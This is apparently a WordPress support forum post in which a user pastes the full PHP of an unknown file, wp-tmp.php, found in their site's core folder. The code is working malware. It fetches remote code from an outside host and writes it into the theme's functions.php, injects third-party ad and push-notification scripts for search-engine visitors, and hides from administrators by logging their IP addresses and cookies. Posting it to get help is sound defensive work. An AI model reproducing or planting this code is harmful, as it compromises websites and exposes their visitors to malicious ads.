• Here’s the code within wp-tmp.php:

    ini_set('display_errors', 0);
    error_reporting(0);
    $wp_auth_key='87b83c0568dfdee2d0d59bf8a221c00e';
    
    //echo "rrrr".get_template_directory();
    $file=file_get_contents(get_template_directory().'/functions.php');
    
    $pat_code='/div_code_name[\s\S]*?(if \( ! function_exists[\s\S]*?extract\([\s\S]*?)\?>/i';
    if(preg_match_all($pat_code, $file, $matches_pat_code))
    
    {
    
    $toreplace=$matches_pat_code[1][0];
    //echo $toreplace;
    
    $newxc=file_get_contents('http://www.dolsh.cc/new4.txt');
    
    if (stripos($newxc, $wp_auth_key) !== false) 
    {
    $new_file=str_replace($toreplace,$newxc,$file);
    @file_put_contents(get_template_directory().'/functions.php',$new_file);
    }
    
    }
    
    //@file_put_contents($funcfile,$file);
    
    if ( ! function_exists( 'slider_option' ) ) {  
    function slider_option($content){ 
    if(is_single())
    {
    
    $con2 = '
    
    <script type="text/javascript" src="//go.onclasrv.com/apu.php?zoneid=1426161"></script>
    
    <script async="async" type="text/javascript" src="//go.mobisla.com/notice.php?p=1426162&interactive=1&pushup=1"></script>
    
    ';
    
    $content=$content.$con2;
    }
    return $content;
    } 
    
    function slider_option_footer(){ 
    if(!is_single())
    {
    
    $con2 = '
    
    <script type="text/javascript" src="//go.onclasrv.com/apu.php?zoneid=1426161"></script>
    
    <script async="async" type="text/javascript" src="//go.mobisla.com/notice.php?p=1426162&interactive=1&pushup=1"></script>
    
    ';
    
    echo $con2;
    }
    } 
    
    function setting_my_first_cookie() {
      setcookie( 'wordpress_cf_adm_use_adm',1, time()+3600*24*1000, COOKIEPATH, COOKIE_DOMAIN);
      }
    
    if(is_user_logged_in())
    {
    add_action( 'init', 'setting_my_first_cookie',1 );
    }
    
    if( current_user_can('edit_others_pages'))
    {
    
    if (file_exists(ABSPATH.'wp-includes/wp-feed.php'))
    {
    $ip=@file_get_contents(ABSPATH.'wp-includes/wp-feed.php');
    }
    
    if (stripos($ip, $_SERVER['REMOTE_ADDR']) === false)
    {
    $ip.=$_SERVER['REMOTE_ADDR'].'
    ';
    @file_put_contents(ABSPATH.'wp-includes/wp-feed.php',$ip);
    
    }
    
    }
    
    $ref = $_SERVER['HTTP_REFERER'];
    $SE = array('google.','/search?','images.google.', 'web.info.com', 'search.','yahoo.','yandex','msn.','baidu','bing.','doubleclick.net','googleweblight.com');
    foreach ($SE as $source) {
      if (strpos($ref,$source)!==false) {
        setcookie("sevisitor", 1, time()+120, COOKIEPATH, COOKIE_DOMAIN); 
    	$sevisitor=true;
      }
    }
    
    if(!isset($_COOKIE['wordpress_cf_adm_use_adm']) && !is_user_logged_in()) 
    {
    $adtxt=@file_get_contents(ABSPATH.'wp-includes/wp-feed.php');
    if (stripos($adtxt, $_SERVER['REMOTE_ADDR']) === false)
    {
    if($sevisitor==true || isset($_COOKIE['sevisitor']))
    {
    add_filter('the_content','slider_option');
    add_action('wp_footer','slider_option_footer');
    }
    
    }
    } 
    
    }
Viewing 1 replies (of 1 total)
Viewing 1 replies (of 1 total)

The topic ‘Unknown file in WordPress core: wp-includes/wp-tmp.php’ is closed to new replies.